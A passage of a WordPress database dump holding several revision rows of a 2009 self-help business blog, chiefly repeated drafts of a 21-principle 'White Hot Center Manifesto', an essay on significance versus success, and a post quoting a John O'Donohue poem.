contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you believe is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come in contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 14:41:44', '2009-07-06 21:41:44', '', 136, 'http://www.whitehotcenter.com/136-revision-19/', 0, 'revision', '', 0),
(379, 2, '2009-07-06 14:46:09', '2009-07-06 21:46:09', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized. Think about these ideas:\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you believe is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come in contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 14:46:09', '2009-07-06 21:46:09', '', 136, 'http://www.whitehotcenter.com/136-revision-20/', 0, 'revision', '', 0),
(380, 2, '2009-06-24 12:46:03', '2009-06-24 19:46:03', '<h2><span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-10', '', '', '2009-06-24 12:46:03', '2009-06-24 19:46:03', '', 8, 'http://www.whitehotcenter.com/8-revision-10/', 0, 'revision', '', 0),
(381, 2, '2009-07-06 15:21:09', '2009-07-06 22:21:09', '<h2><span style="color: #ff6600;"><strong><span style="font-size: 20px; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></strong></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-11', '', '', '2009-07-06 15:21:09', '2009-07-06 22:21:09', '', 8, 'http://www.whitehotcenter.com/8-revision-11/', 0, 'revision', '', 0),
(382, 2, '2009-04-03 19:32:28', '2009-04-04 02:32:28', 'My friend and colleague Patrick Turner and I spend lots of time discussing ideas about starting anew. No matter where or in what circumstances, people seem to have an inherent knowledge about what is really important to them. They just don''t trust it enough to take action on it because new beginnings don''t start out in physical form. Most people need proof to trust an idea. Humans are not easily persuaded by ideas taken on faith.\r\n\r\nIn one of our recent idea sessions about having faith in new beginnings, Pat shared this poem with me, and I want to pass it on to you because it beautifully frames up this idea that there is a seed of knowledge within all of us about what really matters that awaits our conscious arrival. I hope you enjoy it as much as I did.\r\n\r\n<span style="color: #993300;">For a New Beginning</span>\r\n\r\n<span style="color: #993300;">In out-of-the-way places of the heart,\r\nWhere your thoughts never think to wander,\r\nThis beginning has been quietly forming,\r\nWaiting until you were ready to emerge.</span>\r\n\r\n<span style="color: #993300;">For a long time it has watched your desire,\r\nFeeling the emptiness growing inside you,\r\nNoticing how you willed yourself on,\r\nStill unable to leave what you had outgrown.</span>\r\n\r\n<span style="color: #993300;">It watched you play with the seduction of safety\r\nAnd the gray promises that sameness whispered,\r\nHeard the waves of turmoil rise and relent,\r\nWondered would you always live like this.</span>\r\n\r\n<span style="color: #993300;">Then the delight, when your courage kindled,\r\nAnd out you stepped onto new ground,\r\nYour eyes young again with energy and dream,\r\nA path of plenitude opening before you.</span>\r\n\r\n<span style="color: #993300;">Though your destination is not yet clear\r\nYou can trust the promise of this opening;\r\nUnfurl yourself into the grace of beginning\r\nThat is at one with your life''s desire.</span>\r\n\r\n<span style="color: #993300;">Awaken your spirit to adventure;\r\nHold nothing back, learn to find ease in risk;\r\nSoon you will be home in a new rhythm,\r\nFor your soul senses the world that awaits you.</span>\r\n\r\n<span style="color: #993300;">- John O''Donohue -</span>\r\n\r\n<strong>What are you waiting for?</strong>', 'A New Beginning', 0, 'My friend and colleague Patrick Turner and I spend lots of time discussing ideas about starting anew. No matter where or in what circumstances, people seem to have an inherent knowledge about what is really important to them. They just...\r\n', 'inherit', 'open', 'open', '', '12-revision-2', '', '', '2009-04-03 19:32:28', '2009-04-04 02:32:28', '', 12, 'http://www.whitehotcenter.com/12-revision-2/', 0, 'revision', '', 0),
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(384, 2, '2009-07-06 15:02:16', '2009-07-06 22:02:16', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of current circumstances. Successful people are inspired people. They know everything they "see" in their creative imagination is achievable in the physical world! There are no limits except those that are self-imposed. Think about these inspired ideas:\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 15:02:16', '2009-07-06 22:02:16', '', 136, 'http://www.whitehotcenter.com/136-revision-21/', 0, 'revision', '', 0),
(385, 2, '2009-07-06 16:14:01', '2009-07-06 23:14:01', '', '21manifesto', 0, '', 'inherit', 'open', 'open', '', '21manifesto-2', '', '', '2009-07-06 16:14:01', '2009-07-06 23:14:01', '', 136, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/21manifesto1.gif', 0, 'attachment', 'image/gif', 0),
(386, 2, '2009-07-06 16:10:55', '2009-07-06 23:10:55', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto.gif"><img class="alignnone size-full wp-image-383" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto.gif" alt="21manifesto" width="450" height="277" /></a>The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of current circumstances. Successful people are inspired people. They know everything they "see" in their creative imagination is achievable in the physical world! There are no limits except those that are self-imposed. Think about these inspired ideas:\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> 